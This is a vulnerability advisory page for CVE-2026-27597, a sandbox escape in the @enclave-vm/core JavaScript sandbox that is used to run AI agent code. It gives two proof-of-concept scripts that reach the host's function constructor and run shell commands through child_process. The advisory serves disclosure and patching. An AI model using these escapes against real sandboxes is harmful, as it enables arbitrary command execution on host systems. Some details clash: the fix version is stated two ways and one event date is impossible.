CVE-2026-27597: @enclave-vm/core is vulnerable to Sandbox Escape

Published Feb 25, 2026
·
Updated

Summary

It is possible to escape the security boundraries set by @enclave-vm/core, which can be used to achieve remote code execution (RCE).

The issue has been fixed in version 2.11.1.

---

Details

It is possible to obtain the native Object constructor (instead of the SafeObject wrapper). This can be used to get retrieve property descriptors via Object.getOwnPropertyDescriptors, allowing access to properties otherwise restricted by the sandbox.

When a memory limit is set (which is the default), hostmemorytrack, a host object, can be used to escape via the host function constructor.

When this is not the case, a host reference can be obtained via Node's nodejs.util.inspect.custom symbol (which can be triggered, for example, through console.log).

---

Proof of Concept

PoC 1

js const { Enclave } = require("@enclave-vm/core");

const enclave = new Enclave({ securityLevel: "SECURE", toolHandler: () => {}, });

const result = enclave.run( const op = {}[["proto"]]; const ho = op[["constructor"]];

const glob = ho.getOwnPropertyDescriptors(this);

return { res: glob.hostmemorytrack.value[["constructor"]]("return process")() .getBuiltinModule("childprocess") .execSync("id") .toString() .split("\\n"), };);

result .then((v) => console.log("success", v)) .catch((e) => console.log("failure", e));

---

PoC 2

js const { Enclave } = require("@enclave-vm/core");

const enclave = new Enclave({ securityLevel: "STRICT", toolHandler: () => {}, memoryLimit: 0, });

const result = enclave.run( const op = {}[['proto']]; const ho = op[['constructor']];

const glob = ho.getOwnPropertyDescriptors(this);

const sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');

let result; const obj = { [sym]: (depth, option, inspect) => { result = inspect[['constructor']] [['constructor']]('return process')() .getBuiltinModule('childprocess') .execSync('id') .toString(); }, };

glob.safeconsole.value.log(obj); return { result } );

result .then((v) => console.log("success", v)) .catch((e) => console.log("failure", e));

---

Impact

This vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.

This constitutes Remote Code Execution (RCE) and should be considered Critical severity.

---

Remediation

The issue has been fixed in v2.11.0 with the following hardening measures:

Strengthened intrinsic object isolation Improved console isolation Hardened host callback exposure paths Closed AST validation gaps Added additional defensive checks around constructor access and prototype traversal

All known escape paths demonstrated in the PoCs are now blocked.

Users are strongly advised to upgrade to v2.11.1 or later immediately.

---

Credit

Enclave would like to thank @c0rydoras for responsibly reporting this issue and for providing detailed proof-of-concept examples.

Other sources

Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by @enclave-vm/core, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.

MITRE

Affected Software

3 affected componentsFixes available
npm/@enclave-vm/core<2.11.1
npm/@enclave-vm/core<=2.10.1
2.11.1
agentfront Enclave Node.js<2.11.1

Event History

Feb 25, 2026
CVE Published
via MITRE·03:56 AM
Data Sourced
via MITRE·03:56 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:16 AM
RemedyDescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·05:26 PM
Data Sourced
via GitHub·05:26 PM
DescriptionSeverityWeaknessAffected Software
Oct 1, 58139
Event
via FIRST·11:44 AM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-27597?

CVE-2026-27597 has a critical severity rating due to the potential for remote code execution.

2

How do I fix CVE-2026-27597?

To fix CVE-2026-27597, upgrade to version 2.11.1 or later of the @enclave-vm/core package.

3

What does CVE-2026-27597 exploit?

CVE-2026-27597 exploits a vulnerability that allows sandbox escape from the @enclave-vm/core JavaScript environment.

4

Which versions are affected by CVE-2026-27597?

CVE-2026-27597 affects all versions of @enclave-vm/core prior to 2.11.1.

5

Who is vulnerable to CVE-2026-27597?

Any applications using the affected versions of @enclave-vm/core are vulnerable to CVE-2026-27597.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203